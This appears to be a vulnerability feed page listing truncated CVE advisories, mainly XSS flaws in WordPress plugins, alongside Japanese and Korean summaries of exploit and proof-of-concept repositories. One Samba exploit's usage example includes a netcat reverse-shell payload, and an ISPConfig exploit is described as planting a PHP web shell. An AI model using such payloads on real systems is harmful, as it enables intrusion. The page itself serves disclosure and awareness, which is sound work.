CVE-2026-93747 wpForo Forum <= 3.1.6 - Authenticated (Subscriber+) Stored Cross-Site Scripting via 'telegram' Profile Field

The wpForo Forum plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'telegram' profile field in versions up to, and including, 3.1.6. This is due to insufficient input sanitization and output escaping in the profileupdate action — the raw $POST'data' array is copied into a...

CVE-2026-92212

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'jfbxss' URL Query Variable Parameter via Calculated Field in all versions up to, and including, 3.6.5.3 due to insufficient input sanitization and output escaping. This makes...

CVE-2026-93303

The HT Contact Form – Drag & Drop Form Builder for WordPress plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via 'formdata' Rich Text Field via Draft Save/Resume in all versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. Th...

fat-finger

Fat-Finger 元の finger.nse を拡張し、/etc/passwd 内の GECOS フィールドの部分一致とユーザー名の完全一致により、現在ログイン中のユーザーの列挙を試みます。 出力例: root@kitploit: @output PORT STATE SERVICE 79/tcp open finger | fat-finger: finger: admin: no such user. | finger: unix: no such user. | finger: dba: no such user. | finger: oracle: no such user....

CVE-2026-11113-SMTP-Header-Injection-in-Contact-Form

CVE-2026-11113 – お問い合わせフォームのSMTPヘッダインジェクション プログラムコード Python root@kitploit: contactformserver.py - Mails feedback without sanitizing headers from flask import Flask, request import smtplib app = Flaskname @app.route'/contact', methods='POST' def contact: sender = request.form'email' message =...

CVE-2026-93303

The HT Contact Form – Drag & Drop Form Builder for WordPress plugin is vulnerable to Stored DOM-Based Cross-Site Scripting (XSS) in versions up to and including 2.10.1 . The root cause is insufficient input sanitization and output escaping within the 'form_data' Rich Text Field during the Draft S...

EUVD-2026-86545

The HT Contact Form – Drag & Drop Form Builder for WordPress plugin for WordPress is vulnerable to Stored DOM-Based Cross-Site Scripting via 'formdata' Rich Text Field via Draft Save/Resume in all versions up to, and including, 2.10.1 due to insufficient input sanitization and output escaping. Th...

EUVD-2026-86534

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'jfbxss' URL Query Variable Parameter via Calculated Field in all versions up to, and including, 3.6.5.3 due to insufficient input sanitization and output escaping. This makes...

CVE-2026-92212 JetFormBuilder <= 3.6.5.3 - Reflected Cross-Site Scripting via 'jfb_xss' (URL Query Variable) Parameter via Calculated Field

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via 'jfbxss' URL Query Variable Parameter via Calculated Field in all versions up to, and including, 3.6.5.3 due to insufficient input sanitization and output escaping. This makes...

CVE-2026-92212

The JetFormBuilder — Dynamic Blocks Form Builder plugin for WordPress is vulnerable to Reflected Cross-Site Scripting (XSS) in all versions up to and including 3.6.5.3 . The root cause is insufficient input sanitization and output escaping involving the 'jfb_xss' (URL Query Variable) Parameter vi...

CVE-2026-93897 GeoDirectory <= 2.8.181 - Authenticated (Subscriber+) Stored Cross-Site Scripting via Text-type Custom Field (e.g., 'phone')

The GeoDirectory – WP Business Directory Plugin and Classified Listings Directory plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Text-type Custom Field e.g., 'phone' in all versions up to, and including, 2.8.181 due to insufficient input sanitization and output escaping. Th...

CVE-2023-46818-Exploit

CVE-2023-46818-Exploit これはCVE-2023-46818のための自作エクスプロイトです。ハッピーハッキング！ このエクスプロイトは、ISPConfig バージョン 3.2.11 以前における PHPコードインジェクションの脆弱性を悪用し、CVE-2023-46818 で説明されている攻撃を自動化します。有効な認証情報を使用して ISPConfig パネルにログインし、脆弱な languageedit.php ファイルを標的にして、records フォームフィールドを悪用して悪意のある PHP コードを注入します。このペイロードはサーバー上に sh.php...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 実装 説明 Samba 3.0.20 IP - リモートマシンの IP。 PORT - オプション SMB が動作しているポート。 PAYLOAD - リモートマシンで実行するペイロード。例: リバースシェル。 例: python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' リソース CVE-2007-2447: Remote...

CVE-2017-7529

Nginx整数オーバーフロー脆弱性 CVE-2017-7529 脆弱性情報 nginx標準モジュールを使用する場合、攻撃者は悪意を持って構築された range フィールドを含むヘッダーリクエストを送信することで、レスポンス内のキャッシュファイルヘッダー情報を取得できます。一部の設定では、キャッシュファイルヘッダーにバックエンドサーバーのIPアドレスやその他の機密情報が含まれる可能性があり、情報漏洩につながります。 参考：【脆弱性分析】Nginx range フィルタ整数オーバーフロー脆弱性 CVE–2017–7529 早期警告分析 脆弱性の影響 本脆弱性は、0.5.6 -...

CVE-2021-27190-PEEL-Shopping-cart-9.3.0-Stored-XSS

CVE-2021-27190 - PEEL Shopping、eコマースショッピングカート - 'Address' における格納型クロスサイトスクリプティング脆弱性 日付 2021-02-11 脆弱性発見者 Anmol K Sachan ベンダーホームページ https://www.peel.fr/ ソフトウェアリンク https://www.peel.fr/nos-offres-1/peel-shopping-31.html https://sourceforge.net/projects/peel-shopping/ 脆弱性のあるソフトウェアリンク...

CVE-2021-39287-Stored-XSS

CVE-2021-39287-Stored-XSS CVE-2021-39287 TastyIgniter v3.0.7 Restaurtant CMS の保存型XSS TastyIgniter v3.0.7 Restaurant CMSには、保存型クロスサイトスクリプティング（XSS）の脆弱性が存在します。/admin/locations/settings にある説明入力フィールドは適切にサニタイズされておらず、任意のコードをサイト内に保存することができます。 影響を受けるコンポーネント URL: /admin/locations/settings POC...

CVE-2026-3516

CVE-2026-3516: コンタクトリストプラグインにおける認証済み格納型クロスサイトスクリプティング（XSS） 免責事項: このリポジトリは教育目的および倫理的開示専用 で作成されています。本脆弱性はベンダーに責任を持って報告され、修正済みです。許可なくシステムを悪用する目的でこの情報を使用しないでください。 概要 WordPress用プラグイン Contact List - Online Staff Directory & Address Book（バージョン = 3.0.17）において、格納型クロスサイトスクリプティング（XSS）...

Linux Distros Unpatched Vulnerability : CVE-2026-96747

The Linux/Unix host has one or more packages installed that are impacted by a vulnerability without a vendor supplied patch available. - The client-side field level encryption support in the MongoDB Python Driver can treat a key management endpoint value ending in .sock as a local Unix domain...

CVE-2025-8191

CVE-2025-8191 – Swagger UI XSS Injection 설명 : 이 저장소는 Swagger UI에서 발견된 취약점인 CVE‑2025‑8191에 대한 개념 증명PoC 익스플로잇을 포함하고 있습니다. 이 취약점은 "description" 필드에서 XSS크로스 사이트 스크립팅 주입을 허용하여, Swagger UI 버전 ≤ 1.0.3에서 원격 스크립트 실행으로 이어집니다. 참고 자료 : NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2025-8191 사용법 :...

CVE-2021-37740

CVE-2021-37740 の概念実証 Table of Contents はじめに 脆弱性 PoCの実行 対策 協調的な脆弱性開示 ライセンス 変更履歴 はじめに CVE-2021-37740 は、MDT社製のKNXnet/IP SecureルータSCN-IP100.03およびインターフェースSCN-IP000.03のファームウェアv3.0.3に影響を与えるサービス拒否DoS脆弱性です。 特別に細工されたKNXnet/IP Secureフレームにより、デバイスが以降のリクエストに応答しなくなり、通常の動作を復旧するには再起動が必要になります。...